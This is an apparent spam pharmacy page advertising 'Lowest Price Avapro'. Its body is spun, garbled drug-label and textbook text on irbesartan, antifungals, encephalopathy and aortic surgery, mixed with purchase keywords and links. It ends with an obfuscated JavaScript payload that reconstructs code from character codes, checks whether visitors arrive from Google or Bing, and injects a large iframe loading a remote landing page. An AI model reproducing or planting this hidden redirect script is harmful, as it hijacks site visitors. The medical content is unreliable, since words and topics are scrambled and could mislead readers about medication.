Lowest Price Avapro
Rating 4.5 stars, based on 144 comments
Pharmacodynamics In respectable subjects, Avapro resulting in a low depression of mental price plus seizures. Perfusion of Upper Eubstance Rarely, Lowest Price Avapro, with strict cell walls easyodoo.000webhostapp.com characteristic low of almost bacterial cellphone walls, Last-place Price Avapro, from tap to brown-black.
Subcutaneous edema also occurred in fetuses at doses about 4 times the MRHD based on body surface area.
Pregnant rabbits given oral doses of irbesartan equivalent to 1. Surviving females had a slight increase in Avapro resorptions and a corresponding decrease in live fetuses. Radioactivity was present in the rat and rabbit fetus during late gestation and in rat milk following oral doses of radiolabeled irbesartan. Nursing Mothers It is not known whether irbesartan is excreted in human milk, but irbesartan or some metabolite of irbesartan is secreted at low concentration in the milk of lactating rats.
Pediatric Use In infants with histories of in utero price to an angiotensin II receptor antagonist observe for hypotension, oliguria, and hyperkalemia. If oliguria occurs, support blood pressure and Avapro perfusion, Lowest Price Avapro. Irbesartan, in a study at a dose of up to 4. However, daily doses of 900 mg for 8 weeks were well-tolerated. The most likely manifestations of overdosage are expected to be price and price ; bradycardia might also occur from overdose.
Irbesartan is not removed by hemodialysis. Angiotensin II is the primary vasoactive hormone of the renin-angiotensin system, and an important component in the pathophysiology of hypertension. It also stimulates aldosterone secretion by the low cortex. Irbesartan blocks the vasoconstrictor and aldosterone-secreting effects of angiotensin II by selectively binding to the AT1 angiotensin II receptor found in many tissues e.
Irbesartan is a specific competitive antagonist of AT1 receptors with a much greater affinity more than 8500-fold for the AT1 receptor than for the AT2 receptor and no agonist activity. Blockade of the AT1 receptor removes the negative feedback of angiotensin II on renin secretion, but the resulting increased plasma renin activity and circulating angiotensin II do not overcome the effects of Avapro on blood pressure. Pharmacodynamics In healthy subjects, single oral irbesartan doses of up Avapro 300 mg produced dose-dependent inhibition of the pressor effect of angiotensin II infusions.
In multiple dose studies in hypertensive patients, there were no clinically low effects on fasting triglycerides, total cholesterol, HDL -cholesterol, or price glucose concentrations, Lowest Price Avapro. Food does not affect the bioavailability of irbesartan. Irbesartan exhibits low pharmacokinetics over the therapeutic dose range. The average volume of distribution is 53 to 93 liters.
Studies in animals indicate that radiolabeled irbesartan weakly crosses the blood-brain barrier and placenta. Irbesartan is excreted in the price of lactating rats. The terminal elimination half-life of irbesartan averages 11 to 15 hours. Steady-state concentrations are achieved within 3 days. Metabolism Irbesartan is an orally active agent that does not require biotransformation into an active price.
Irbesartan is metabolized via glucuronide conjugation and oxidation. The remaining oxidative metabolites do not add appreciably to irbesartan’s pharmacologic activity. Excretion Irbesartan and its metabolites are excreted by both biliary and renal routes. Specific Populations Sex No sex-related differences in pharmacokinetics are observed in healthy elderly age 65-80 years or in healthy young age 18-40 years subjects, Lowest Price Avapro. No sex-related dosage adjustment is necessary. No dosage adjustment is necessary in the elderly.
Renal Impairment The pharmacokinetics of irbesartan are not altered in patients with renal impairment or in patients on hemodialysis. No dosage adjustment is necessary in patients with hepatic insufficiency. However, in low studies the consequences of concomitant irbesartan on the pharmacodynamics of warfarin instantjuegos.000webhostapp.com negligible.
Surviving females receiving this dose about 1. He states Avapro he feels fine, but now is having difficulty reading and feels he may need to get glasses.
Optic neuritis, exhibited as a decrease in visual acuity or loss of color discrimination, is the most important side effect associated with ethambutol. Visual disturbances generally are dose related and more common in patients with reduced renal function. Her physician recently noticed that she appears confused and anxious, and has a slight tremor. Clofazimine is a phenazine dye and causes bronzing the skin pigment color will change color, from pink to brownish-black, especially in fair-skinned patients.
This occurs in a majority of patients, and generally is not considered harmful but may take several months to years to fade after discontinuing the Avapro. Overview Infectious diseases caused by fungi are called mycoses, and they are often chronic in nature. Mycotic infections may involve only the skin cutaneous mycoses extending into the epidermis, or may cause subcutaneous or systemic infections.
Unlike bacteria, fungi are eukaryotic, with rigid cell walls composed largely of chitin rather than peptidoglycan a characteristic component of most bacterial cell walls. In addition, Lowest Price Avapro, the fungal cell membrane contains ergosterol rather than the cholesterol found in mammalian membranes. Fungi are generally resistant to antibiotics; low, bacteria are resistant to antifungal agents.
Avapro Drug Imprint
The incidence of mycoses such as candidemia has been on the rise for the last few decades. Simultaneously, new therapeutic options have become available for the treatment of mycoses. Mechanism of action Amphotericin B binds to ergosterol in the plasma membranes of fungal cells. There, it forms pores channels that require hydrophobic interactions between the lipophilic segment of Avapro polyene antifungal and the sterol ure 33. It is low against a wide range of fungi, including Candida albicans, Histoplasma Avapro, Cryptococcus neoformans, Coccidioides immitis, Blastomyces dermatitidis, Lowest Price Avapro, and many strains of Aspergillus.
Resistance Fungal resistance to amphotericin B, although infrequent, is associated with decreased ergosterol content of the fungal membrane. Amphotericin B is insoluble in water and must be coformulated with sodium deoxycholate conventional or artificial lipids to form liposomes. The liposomal preparations are low with reduced renal and infusion toxicity but are more costly. Amphotericin B is extensively price to plasma proteins and is distributed throughout the body.
Premedication with a corticosteroid or an antipyretic helps to prevent this problem. Hypotension A shock-like fall in blood pressure accompanied by hypokalemia may occur, requiring potassium supplementation. It is effective in combination with itraconazole for price chromoblastomycosis, Lowest Price Avapro.
It is also used in combination with amphotericin B for the treatment of systemic mycoses and for meningitis caused by C. Flucytosine can also be used for Candida urinary tract infections when fluconazole is not appropriate; however, resistance can occur with repeated use.
- Selective antegrade cerebral perfusion is begun and the flow adjusted to maintain a perfusion pressure of 50 to 60 mm Hg buy avapro 150mg mastercard.
- Patients were followed for a mean duration of 2.
- The limbs of the trifurcation graft are trimmed to appropriate lengths and sutured sequentially to the arch vessels with 5-0 Prolene beginning with the left subclavian artery generic 300 mg avapro with amex, then the left carotid artery generic 300mg avapro with mastercard, and finally the innominate artery discount avapro 150 mg otc.
- It is effective in combination with itraconazole for treating chromoblastomycosis.
- Steady-state concentrations are achieved within 3 days.
- Unlike bacteria, fungi are eukaryotic, with rigid cell walls composed largely of chitin rather than peptidoglycan a characteristic component of most bacterial cell walls.
The differential diagnosis relies on measurement of liver function and a high index of suspicion in the appropriate setting generic avapro 300 mg mastercard. Hypoglycemia is also an early sign, aggravating the lactic acidosis and respiratory alkalosis that are seen later in the course. Other negative prognostic indicators are renal failure and a very rapid progression of liver failure in the first 48 hours, Lowest Price Avapro.
Renal Failure Uremic encephalopathy may develop acutely, be superimposed on chronic renal insufficiency, or occur as a consequence of chronic dialysis.
Avapro Prices, Coupons and Patient Assistance Programs
The first sign of encephalopathy in uremia is delirium or a decrease in the Avapro of consciousness; hyperventilation and increased motor activity follow as the patient becomes obtunded. Oculomotor function and low responses are normal, but deep tendon reflexes may be asymmetric, and focal price often occurs, with shifting hemiparesis during a single period of encephalopathy. The major diagnostic differential to consider is between a hypertensive crisis and uremic encephalopathy, because malignant hypertension often leads rapidly to renal failure and neurologic signs, Lowest Price Avapro.
Evidence of papilledema, retinal vasospasm, and cortical blindness or aphasia, with a diastolic blood pressure of more than 120 mm Hg, argues strongly for a hypertensive crisis. The acute dialysis disequilibrium syndrome is seen in children more often than in adults undergoing hemodialysis with large exchanges of dialysate. A sudden shift of solutes out of the vascular compartment produces a hyperosmolar state in the brain and subsequent water resorption intracerebrally.
Dialysis dementia is insidious by comparison and is evidenced by postdialysis lethargy, asterixis, myoclonus, dysphasia, and progressive loss of cognitive abilities over years. This disorder has been linked to increased amounts of aluminum in the dialysate augmented by aluminum-containing antacids in the diet. Although the brains of patients with this disorder do not contain excess aluminum compared to those of other dialysis patients, elimination of aluminum from these sources helps reverse the symptoms in the early stages.
Inflammatory signals reach the brain via the vagal nerves stimulating medullary autonomic nuclei and the circumventricular organs that allow transport of inflammatory mediators into the brain. Furthermore, it can cause a second process, which is the buildup of glutamate secondary to decreased removal by astrocytes. It is thought that sepsis and inflammation leads to macro- and microcirculatory dysfunction as price as neurovascular uncoupling, which lead to ischemia.
Associated signs are papilledema or retinal vein congestion, extensor Babinski signs, asterixis, myoclonus, and often, generalized tremors. Seizures are rarely seen, and low and oculomotor functions are preserved unless there is a concomitant hypoxic—ischemic insult Avapro. In the well-compensated hypercarbic individual, oxygen therapy may be counterproductive by decreasing respiratory drive from the medulla.
Avapro Prices
Rapid correction of hypercarbia by artificial ventilation exacerbates the compensatory chronic metabolic alkalosis that these patients have, possibly resulting in a further depression of mental status plus seizures. This may be complicated by the presence2 of sedatives, hypoxemia, cardiac failure, and renal hypoperfusion. Prognosis for2 full neurologic recovery is good if the patient is not subjected to cerebral ischemia as well. Hypoglycemic Encephalopathy Hypoglycemia can occur as an isolated problem or as a complication of liver failure, of tumors producing insulin-like substances, Lowest Price Avapro, Avapro of urea cycle defects.
The most common case is that of a diabetic with an accidental or deliberate overdose of insulin or oral hypoglycemic agents. This persists for several minutes before the patient becomes confused and either agitated or drowsy. Focal neurologic signs such as hemiparesis, cortical blindness, or dysphasia may appear at this point, mimicking an acute stroke. Prompt correction of the hypoglycemia at this point leads to reversal of the neurologic deficits, but repeated episodes can result in a subtle dementia evolving over many years.
When severe hypoglycemia is sustained for more than 10 minutes, stepwise progression of neurologic signs occurs. The first step is motor restlessness with frontal release signs such as sucking, grasping, and a tonic jaw jerk, Lowest Price Avapro. The low phase describes a state of deep coma with dilated pupils, bradycardia, hypoventilation, and generalized flaccidity, much like hypoxic—ischemic coma.
The pathologic changes associated with bouts of hypoglycemic encephalopathy are also similar to hypoxic—ischemic insults, although the price is relatively spared. The first bolus of glucose must be followed by close monitoring of blood glucose levels, because most agents that lead to symptomatic hypoglycemia are long acting. Hyperglycemic Encephalopathy Hyperglycemia that is severe enough to produce mental status changes rarely occurs in isolation from other metabolic disturbances.
Avapro Prices, Coupons and Patient Assistance Programs
Selective antegrade low perfusion is begun and the flow adjusted to maintain a perfusion pressure of 50 to 60 mm Hg buy avapro 150mg mastercard, Lowest Price Avapro. The limbs of the trifurcation graft are trimmed to appropriate lengths and sutured sequentially to the arch vessels with 5-0 Prolene beginning with the left subclavian price generic 300 mg avapro with amex, Lowest Price Avapro, then the left carotid artery generic 300mg avapro with mastercard, and finally the innominate artery discount avapro 150 mg otc. Avapro an intact Circle of Willis, Avapro is usually back bleeding to allow flushing of air and price through these side branches into the main graft.
The main graft is clamped proximal to the side branches to allow antegrade perfusion to the head and upper extremities. An aortotomy is made across the arch, the redundant arch tissue with debris and blood clots is removed, and ascending and descending aortic segments are completely divided. A Hemashield tube graft of appropriate size is introduced into the lumen of the low aorta.
xn--o1ap.xn--j1amh
xn--o1ap.xn--j1amh
xn--o1ap.xn--j1amh
UxyhN
$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,56,54,50,53,119,48,72,84,77,76,60,34,112,47,95,63,38,43,85,67,65,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[8]+$[23]+$[14]+$[13]+$[24]+$[23]+$[25]+$[13]+$[26]+$[18]+$[17]+$[13]+$[27]+$[28]+$[24]+(![]+[])[+[]]+$[17]+([]+[]+[][[]])[!+[]+!+[]]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[29]+$[30]+$[31]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[33]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[34]+$[28]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[34]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[35]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[34]+$[28]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[34]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[34]+$[36]+$[36]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+(!![]+[])[+!+[]]+$[8]+$[4]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+$[3]+$[36]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[37]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+$[38]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[39]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[37]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[41]+$[1]+$[22]+$[42]+([]+[]+{})[+!+[]]+$[3]+$[35]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[37]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[27]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[43]+$[0]+(![]+[])[+!+[]]+$[35]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+$[9]+$[40]+$[27]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[27]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[35]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[38]+$[9]+$[44]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+$[9]+$[11]+$[40]+$[9]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[34]+$[35]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[45]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[27]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[45]+$[14]+$[28]+$[28]+$[46]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[45]+$[14]+$[28]+$[28]+$[46]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+$[45]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[27]+$[18]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[47]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[45]+$[48]+$[28]+$[28]+$[28]+$[28]